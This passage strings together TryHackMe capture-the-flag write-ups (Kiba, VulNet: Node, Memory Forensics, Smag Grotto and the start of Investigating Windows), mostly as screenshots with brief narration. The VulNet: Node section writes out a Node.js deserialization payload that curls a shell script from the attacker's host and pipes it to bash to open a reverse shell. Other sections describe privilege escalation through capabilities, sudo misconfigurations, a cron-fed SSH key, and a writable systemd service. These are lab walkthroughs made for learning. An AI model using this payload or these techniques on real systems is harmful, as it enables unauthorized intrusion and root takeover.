![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdmxyZB80yRdVdMIUPs%2F-MdmzYeGBBa5HggLoE_V%2Fimage.png?alt=media\&token=1ce4b8c1-b317-4553-bce7-6fa5208dc572)

There is nothing. Lets check Port 5044

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdmxyZB80yRdVdMIUPs%2F-Mdn01KWMnZXh8LOpBnI%2Fimage.png?alt=media\&token=53f09e0f-f182-4af0-bb7b-25772d00842a)

Nothing. Lets check Port 5601

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdmxyZB80yRdVdMIUPs%2F-Mdn0BLkpFgRh9_F1zU0%2Fimage.png?alt=media\&token=7e1429aa-a39e-457b-8f0d-97f66739f5a8)

We have a Kibana app running, lets check the `version` in the Management tab

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdmxyZB80yRdVdMIUPs%2F-Mdn0NYWMcPKT6jqA38C%2Fimage.png?alt=media\&token=d669fd8d-5eab-41ce-b10f-0c80964fa821)

Lets look for a vulnerability on this version on Google.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdmxyZB80yRdVdMIUPs%2F-Mdn0pER9IMh2P_zauIg%2Fimage.png?alt=media\&token=fac3637a-ecf8-4579-80fd-236e7ce5a079)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdmxyZB80yRdVdMIUPs%2F-Mdn2crl-G2G_CpwTqmB%2Fimage.png?alt=media\&token=41932c4a-e3f1-4dbf-affd-f58c835b9a1a)

## Exploitation

Looks like we found it. Lets download the exploit script.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdmxyZB80yRdVdMIUPs%2F-Mdn15CgZF-nWBYAUN0X%2Fimage.png?alt=media\&token=69ffcaf0-e213-41ca-bed4-8bb27000c880)

Lets look at the exploit

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdmxyZB80yRdVdMIUPs%2F-Mdn1a82WdPPn51NWdoC%2Fimage.png?alt=media\&token=c605c285-675f-4ab0-a1bd-6752d06ac166)

Looks like we have options to set, lets first start a netcat listener.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdmxyZB80yRdVdMIUPs%2F-Mdn1hoVfO9LASoV7QBj%2Fimage.png?alt=media\&token=7c17ecf5-e598-480c-a6aa-8e5d4bfe2ff5)

Now lets run the exploit with the right options

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdmxyZB80yRdVdMIUPs%2F-Mdn2I6h2gDv9ElAhzs1%2Fimage.png?alt=media\&token=f88af9ac-09b9-4450-a6f6-c5d5f79cb07f)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdmxyZB80yRdVdMIUPs%2F-Mdn2Kbug-KJMkXf7trF%2Fimage.png?alt=media\&token=f1a80850-c367-45d8-8b16-cd8311d2199c)

We have a shell, lets read the user flag.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdmxyZB80yRdVdMIUPs%2F-Mdn2UgMUjf5RCp46SRA%2Fimage.png?alt=media\&token=64f5e752-9bcf-45d4-9b63-58048d844d1d)

## Privilege Escalation

The next tryhackme question is talking about capabilities so lets go check how we can see capabilities in Linux.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdmxyZB80yRdVdMIUPs%2F-Mdn41zydhbE6-9b1rgB%2Fimage.png?alt=media\&token=94fedc42-310a-4d95-b3ce-73a70f86649e)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdmxyZB80yRdVdMIUPs%2F-Mdn6FA0I0BiNr-_S3Fa%2Fimage.png?alt=media\&token=a12c63ec-ef81-4880-8fa0-d3b3f58974e2)

We can see what this capability is [here](https://man7.org/linux/man-pages/man7/capabilities.7.html).

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdmxyZB80yRdVdMIUPs%2F-Mdn50DSMhyBivq1P4TV%2Fimage.png?alt=media\&token=b8f9f684-c8d9-40b1-b53b-9d8e594a9ad9)

Looks like we can change the `UID` with the `python3` file in the `kiba` directory, lets check it out.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdmxyZB80yRdVdMIUPs%2F-Mdn5a-YrXJkIpwae1Jn%2Fimage.png?alt=media\&token=0cf92f02-5a16-4905-af7b-454151e7c154)

Lets run the file and make it change our UID to 0 which is the UID for root.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdmxyZB80yRdVdMIUPs%2F-Mdn5suoNQ9PME62rYH5%2Fimage.png?alt=media\&token=4ba25b94-7075-47a9-bb4e-23b00dbc8459)

We are now root, lets read the root flag

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdmxyZB80yRdVdMIUPs%2F-Mdn60J8lXG13ReNoJXN%2Fimage.png?alt=media\&token=2530ea6b-3c6c-44c1-83da-3fb733b25cb5)


# VulNet: Node

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdTBq7PvdyJNlOscU5B%2F-MdTBxo-x93SKNxJfOzB%2Fimage.png?alt=media\&token=9e8358fc-15a4-4420-b429-7fc13e1a4398)

## Scanning

Lets run nmap scan to find open ports and services

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdTBzh1xBnRvdR-Kfoo%2F-MdTC5_dgjjKGq3jPvX-%2Fimage.png?alt=media\&token=209ecb27-c78a-46b9-a86a-889598964353)

## Enumeration

Lets visit the website on port 8080.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdTBzh1xBnRvdR-Kfoo%2F-MdTCNU_pg6BjslImJNJ%2Fimage.png?alt=media\&token=b2f0c72f-c9c6-4f8a-b3f2-75a10a9b617a)

We have a Node.js webpage, we have some usernames

*`Tilo Mitra, Eric Ferraioulo, Reid Burke and Andrew Wooldridge`*

Lets look for hidden directories using gobuster

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdTCPA1nmXmUGFtjWm4%2F-MdTDPEJilYhTlJr612F%2Fimage.png?alt=media\&token=45aaf00c-4a05-4599-b5b4-aa052f3251b6)

Lets look at the login page

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdTCPA1nmXmUGFtjWm4%2F-MdTDUTN8vqZ6FKQ3Pwx%2Fimage.png?alt=media\&token=f8165dbc-5ea7-4adc-a08f-36ff03c08d88)

We have a login form, but we do not have credentials. Lets try to submit random credentials and see what happens when we do with burpsuite.

Lets capture the request

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdTCPA1nmXmUGFtjWm4%2F-MdTE2u8g4DGemIoPzwR%2Fimage.png?alt=media\&token=4549a1e9-47ad-4a9e-8c99-5f71289b16a5)

Ok, so it looks like we have a session cookie even though we did not login yet, this is interesting. Lets send this request to the Repeater tab and test different requests with the cookie we have.

First lets decode the cookie as it looks encoded with `base64`.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdTCPA1nmXmUGFtjWm4%2F-MdTF-HNbTY9cnVpQatJ%2Fimage.png?alt=media\&token=0775d576-f928-4486-9ab8-d2f28ddee90c)

So the username is guest and the `isGuest` value is set to true. I tried changing the username to admin and logging in , but it did not work, so lets see what the server will show us when there is an error in the request.

## Exploitation

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdTCPA1nmXmUGFtjWm4%2F-MdTHCiT49Y-ImDCdSS9%2Fimage.png?alt=media\&token=cfcd8367-3b2c-4917-bd62-d2b7f46eef4a)

It looks like the web application is trying to unserialize the session cookie but it is showing an error. Lets look for exploit on this.  And I found a [blog ](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/)that talks about this and shows us how to exploit this.

Reading the blog what we find the exploit that we will use.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdTCPA1nmXmUGFtjWm4%2F-MdTIQHLg2bH_uAPAquE%2Fimage.png?alt=media\&token=930d862e-28fa-4167-872b-c1d8b73ccd85)

So by passing the `ND_FUNC` into the statement , it will lead to code execution on the web app. So lets try to get a shell on the box, lets create a reverse shell file on our machine so that the server can curl the it and give us a reverse shell.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdTCPA1nmXmUGFtjWm4%2F-MdTJlKIy1Z4UG4y8Wty%2Fimage.png?alt=media\&token=2999f6b6-2be1-4eb5-b957-1237a03ccc95)

Next we have to change the payload a little so that it will give us a reverse shell.

```
{"username":"_$$ND_FUNC$$_function (){\n \t require('child_process').exec('curl 10.13.8.64:8000/shell.sh | bash ', function(error, stdout, stderr) { console.log(stdout) });\n }()","isAdmin":true,"encoding": "utf-8"}
```

Next we have to start a http server on our machine and a netcat listener.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdTCPA1nmXmUGFtjWm4%2F-MdTKVQJPZ6swLWh-0wU%2Fimage.png?alt=media\&token=3eaddf7f-9944-4262-bd54-365dee4e4037)

Lets encode the payload with base64 and then lets replace the current cookie value with our payload.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdTCPA1nmXmUGFtjWm4%2F-MdTLGdTRxO40yGH06YM%2Fimage.png?alt=media\&token=2251ad43-3115-47e3-99fa-3813e96c771a)

Now lets replace it and send the request

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdTCPA1nmXmUGFtjWm4%2F-MdTLPkMqXudDehECoDa%2Fimage.png?alt=media\&token=00f4f841-e692-4ae5-b875-2f3cba72c46b)

The file should get downloaded&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdTCPA1nmXmUGFtjWm4%2F-MdTLUIudeX_TvBb9hpd%2Fimage.png?alt=media\&token=058c8a21-3be0-4451-b1bf-37eb9634d7b4)

And we should have a reverse shell

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdTCPA1nmXmUGFtjWm4%2F-MdTLZdLT0s71mePaqdJ%2Fimage.png?alt=media\&token=31e8c1a6-9538-4956-a27e-7ce5749afe3e)

## Privilege Escalation

Lets run the `sudo -l` command to see what we can run with sudo.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdTLeYoMfz063D6le0j%2F-MdTMGViwHWXtKua6VC3%2Fimage.png?alt=media\&token=a3eb3823-581c-4ba2-b0d1-bc8b19728bd8)

Lets look on [GTFOBins ](https://gtfobins.github.io/gtfobins/npm/#sudo)to find the commands to switch users to serv-manage.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdTLeYoMfz063D6le0j%2F-MdTMdxPfhI6kBbbGwbq%2Fimage.png?alt=media\&token=9cc8606c-f0fd-4d3d-857b-144e3124122e)

Lets run these commands.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdTLeYoMfz063D6le0j%2F-MdTOBXe4Nq6_del9d85%2Fimage.png?alt=media\&token=382a4ac9-4e99-4308-b3f7-ae99d9cb835b)

We are now `serv-manage`. We can read the user flag.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdTLeYoMfz063D6le0j%2F-MdTOM3pwh8H4O_7fpqg%2Fimage.png?alt=media\&token=7afeb35b-e4d5-4ca2-89d9-50e4954432a9)

Lets run `sudo -l` again.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdTLeYoMfz063D6le0j%2F-MdTPSkiugO0KsLlmUiZ%2Fimage.png?alt=media\&token=6da21fea-829d-404c-9734-b94d399a9a44)

Looks like we can edit a system service called `vulnnet-auto.timer` . Lets look at this file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdTLeYoMfz063D6le0j%2F-MdTPqUjbFJjnJx0Wc4x%2Fimage.png?alt=media\&token=2aa22eef-fda7-4d37-9c4e-30c9c0204606)

Looks like it is executing a `systemctl service` called `vulnnet-job.service`. Lets see if we can modify this file and see what it contains.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdTLeYoMfz063D6le0j%2F-MdTQG2UJMXsPSoDOPWV%2Fimage.png?alt=media\&token=6c372793-ed25-48cd-b703-be398bbed0d6)

We can write to the file. Lets modify the command and replace it with a reverse shell that we used before so that we can get a shell as root.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdTLeYoMfz063D6le0j%2F-MdTT-NgUek2GSki9o3L%2Fimage.png?alt=media\&token=1cd72400-3ff0-42ab-a4cc-932022770d04)

Lets start a netcat listener and the http server if you stopped it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdTLeYoMfz063D6le0j%2F-MdTTAGq6HvMDvDI9EFF%2Fimage.png?alt=media\&token=62a805e7-4ca5-41f2-bd1c-859d64152429)

Lets now run the stop and start the service to get a shell.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdTLeYoMfz063D6le0j%2F-MdTWMHFzVMWeQYZp_8p%2Fimage.png?alt=media\&token=eb24cdc0-fc81-49c4-8839-8d42921bef39)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdTLeYoMfz063D6le0j%2F-MdTWRU331H5PPw0NSsg%2Fimage.png?alt=media\&token=ffd72690-2730-40af-b8fa-d023998327c1)

We are now root. We can read the root flag.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdTLeYoMfz063D6le0j%2F-MdTWafdNwrR28witkWY%2Fimage.png?alt=media\&token=9ee7099c-5cb8-4c6b-8473-ed9083bf25ce)


# Memory Forensics

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdPHqA047_AgW-2H-IA%2F-MdPHuRZXNCnZMbIFX3O%2Fimage.png?alt=media\&token=558b1c00-2e95-4d0e-9cb1-925371ba3257)

## Task 2: Login

Lets Download Volatility from [here](https://www.volatilityfoundation.org/releases). Then lets unzip the file, copy it to `/usr/local/bin` and give it some permissions.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdPIQ3K28ocRnbZHata%2F-MdPJURW78hcezRWifcv%2Fimage.png?alt=media\&token=b3d8ccc7-6ecd-4395-b544-d005bfabedb6)

Lets download the files and start Volatility specifying a file. Lets dump the passwords and save them into a file called `credentials`.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdPIQ3K28ocRnbZHata%2F-MdPKswysJ_tWW2bHsUl%2Fimage.png?alt=media\&token=0d2c1eaa-354f-4cf4-bddf-b54a9d2cd284)

We have a password hash, lets crack it using `John The Ripper`

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdPIQ3K28ocRnbZHata%2F-MdPLB761VhRYfbMh3n7%2Fimage.png?alt=media\&token=7b84939d-8208-4c1c-b27b-bb4565eadfaf)

We have the password

## Task 3: Analysis

Lets download the files

To check when the machine was last shutdown, we have an option for that in Volatility, lets use it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdPIQ3K28ocRnbZHata%2F-MdPMeMfUzPhe-v5gHJz%2Fimage.png?alt=media\&token=25331b83-9fa7-4f92-be21-3ad28aa86456)

We have the time and date.

Now we have to see what john wrote in the console, so lets use the console option that will allow us to look at the past commands the user used.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdPMoCiNVOaM7osxDSW%2F-MdPNMnENzeCEvZzEmaN%2Fimage.png?alt=media\&token=19964916-b209-4677-9f17-dd74cc58a1ea)

## Task 4: TrueCrypt

Lets download the files, once we do , lets use the truecryptpassphrase option to get the passphrase.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdPMoCiNVOaM7osxDSW%2F-MdPOBekFYXsWCxj54cH%2Fimage.png?alt=media\&token=9ffe8099-7541-4015-9381-b6bc33e3c66a)

We are done with the room.


# Smag Grotto

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdNr6CDrPJYdDy1cfsG%2F-MdNr9Zra4YUR6aP-42j%2Fimage.png?alt=media\&token=22bbf5f3-e754-424d-aec5-66f806bb215a)

## Scanning

Lets run nmap scans to find open ports and services

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdNr6CDrPJYdDy1cfsG%2F-MdNrscq3XY8fVHf_A1O%2Fimage.png?alt=media\&token=24bd7c6d-cc24-49be-b761-24d4d6db42d0)

## Enumeration

Lets visit the website

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdNrvagSxQZ9AP6Qe2l%2F-MdNsP4_CRofOqveFNpQ%2Fimage.png?alt=media\&token=e4b0fdff-6567-4301-8f03-a66dd724f3b0)

Lets run a gobuster scan

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdNsQZQGnVtgRT9We5m%2F-MdNtT-zTrLa7pLm7zi7%2Fimage.png?alt=media\&token=fc64282d-1804-423b-9d97-5389e732facb)

Lets visit this directory

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdNsQZQGnVtgRT9We5m%2F-MdNtdkHCT299hTXaWA5%2Fimage.png?alt=media\&token=86bcd22f-efb2-4d9c-b594-188b553353e7)

Lets look at the source code

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdNsQZQGnVtgRT9We5m%2F-MdNttCrcY5uiy0sXbxQ%2Fimage.png?alt=media\&token=60ffbb3b-cc85-474c-bb18-a508d4b96a6f)

We have a email, and a link that will download a pcap file onto our machine. Lets open the file with Wireshark.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdNsQZQGnVtgRT9We5m%2F-MdNufmnTOpZjFdSwl98%2Fimage.png?alt=media\&token=e3e3857b-e2d1-427a-b2c6-2050a93f81f1)

Lets look at the packet details by *`Right clicking and Follow > TCP Stream`.*&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdNvhVqP5i4pixADJrx%2F-MdNvmSsQdjRG4S45w1F%2Fimage.png?alt=media\&token=b27cd6d5-1315-4faf-9569-438206e5c26e)

Looks like we have a username and a password, we also have a host, lets add this to our `/etc/hosts` file.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdNvhVqP5i4pixADJrx%2F-MdNwlGFddj-5LyJJABE%2Fimage.png?alt=media\&token=458a1393-58ca-4501-be4b-7da2c33ebfad)

Lets visit this site

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdNvhVqP5i4pixADJrx%2F-MdNx6t9lDp8tNYWsfFv%2Fimage.png?alt=media\&token=fd767dc3-8449-4f9d-aa51-ae63f9654152)

Ok so we have a login page for users and a login page for admins, we have credentials for a helpdesk users, so lets login in the `admin.php` site.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdNvhVqP5i4pixADJrx%2F-MdNxWJ06Tb7nRyuiDK9%2Fimage.png?alt=media\&token=5e866f59-ca3d-46d9-b5a9-dcfebbdc9fe5)

We are logged in. Looks like we can run commands, lets try running a reverse shell command to get a reverse shell on the machine.

## Exploitation

Lets first start a netcat listener&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdNvhVqP5i4pixADJrx%2F-MdNyFhOQPEMGWiLcDSg%2Fimage.png?alt=media\&token=aa39c932-0068-4766-8aec-f21e8ad507a9)

Now lets run the command

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdNvhVqP5i4pixADJrx%2F-MdNyR3ChV-rQuOd4_Ob%2Fimage.png?alt=media\&token=2aca0bc2-4d71-4077-9104-7b16801287df)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdNvhVqP5i4pixADJrx%2F-MdNySe1k3LEuLZ4BEaO%2Fimage.png?alt=media\&token=2b4b3be2-5e2b-442f-a3c5-0c64a869bff7)

We have a reverse shell, lets stabilize the shell

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdNvhVqP5i4pixADJrx%2F-MdNycnERlmcRAM2XAWE%2Fimage.png?alt=media\&token=e0f88a5c-43a6-4f49-8530-1ce1148e03ae)

## Privilege Escalation

Looking around the machine, I found a interesting `cronjob` in the crontab file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdNvhVqP5i4pixADJrx%2F-MdO4nbn2tZqD1NXSvNM%2Fimage.png?alt=media\&token=68acc2bc-a370-4564-85e9-e88c32daa133)

So the cronjob is taking Jake's backup ssh key and adding it to the authorized keys, we can create our own key and modify the backup file , then we would we get access to the ssh server with the user privileges of Jake.

Lets first generate our own SSH public key

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdNvhVqP5i4pixADJrx%2F-MdO5d3JzxkWAaRP5brQ%2Fimage.png?alt=media\&token=a261ce2b-4fc3-4e33-b790-7d8de9312533)

Lets now copy it and replace it with the backup one in the machine.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdNvhVqP5i4pixADJrx%2F-MdO5qOO5Y5v99reiMvx%2Fimage.png?alt=media\&token=cd77d3b9-8053-4c6a-ab79-884242523492)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdNvhVqP5i4pixADJrx%2F-MdO6Ma5N65atxYePVoR%2Fimage.png?alt=media\&token=ab09765d-60eb-4b99-b77d-7a373336f761)

Now lets wait for a few minutes and then login with the Jake username.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdNvhVqP5i4pixADJrx%2F-MdO73uBZsC2AChQOyp0%2Fimage.png?alt=media\&token=eed21b48-8a44-4ccc-ae65-22f5b4c1eab1)

We can read the user flag

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdNvhVqP5i4pixADJrx%2F-MdO7AK7UaFNgaZ67f2v%2Fimage.png?alt=media\&token=458a6a84-a984-4a87-acea-8f5ebd8a5861)

Lets run `sudo -l` to see what we can run as other users.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdNvhVqP5i4pixADJrx%2F-MdO7JGo060SmyHCRabE%2Fimage.png?alt=media\&token=37851735-e247-4423-8adc-56e186b1ac18)

Lets go to [GTFOBins](https://gtfobins.github.io/gtfobins/apt-get/#sudo).

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdNvhVqP5i4pixADJrx%2F-MdO7UAzVMdy8USs0Kh9%2Fimage.png?alt=media\&token=00925ed1-f57a-4ade-aaae-b7063093d8dd)

Lets use the 3rd command

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdNvhVqP5i4pixADJrx%2F-MdO7ZXjYtz-5TMe0FU2%2Fimage.png?alt=media\&token=e22300e1-7d2d-4584-8843-ad019d93a7a0)

We are now root, we can read the root flag

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdNvhVqP5i4pixADJrx%2F-MdO7gkNEOJhoPR9u-oM%2Fimage.png?alt=media\&token=64d13135-31be-43ba-a4de-dd51b9a7ddaa)


# Investigating Windows

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdF3hHISHHS7c4qkYt1%2F-MdF4hXjvkipyIrxyT1k%2Fimage.png?alt=media\&token=f7163eeb-38ca-41c9-bba5-6b353f5d8107)

Lets connect to the machine through RDP using `remmina`&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdF3hHISHHS7c4qkYt1%2F-MdF5HlIwQKoTwaZF7Pq%2Fimage.png?alt=media\&token=5949465d-8675-4e93-a20a-966b5a0b48ed)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdF5MVsVM87-mmBlu_5%2F-MdF5TvS1VO-fCOnGg7h%2Fimage.png?alt=media\&token=f8d0732f-0bf3-4348-aa76-377edf5da4b3)

We are logged in. Lets go to `Windows > This PC > (Right Click) Properties`

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdF5MVsVM87-mmBlu_5%2F-MdF5v2ne4dCM3eZisWY%2Fimage.png?alt=media\&token=9f6e410d-8e1c-4d6a-9fa6-c5ed996a564e)

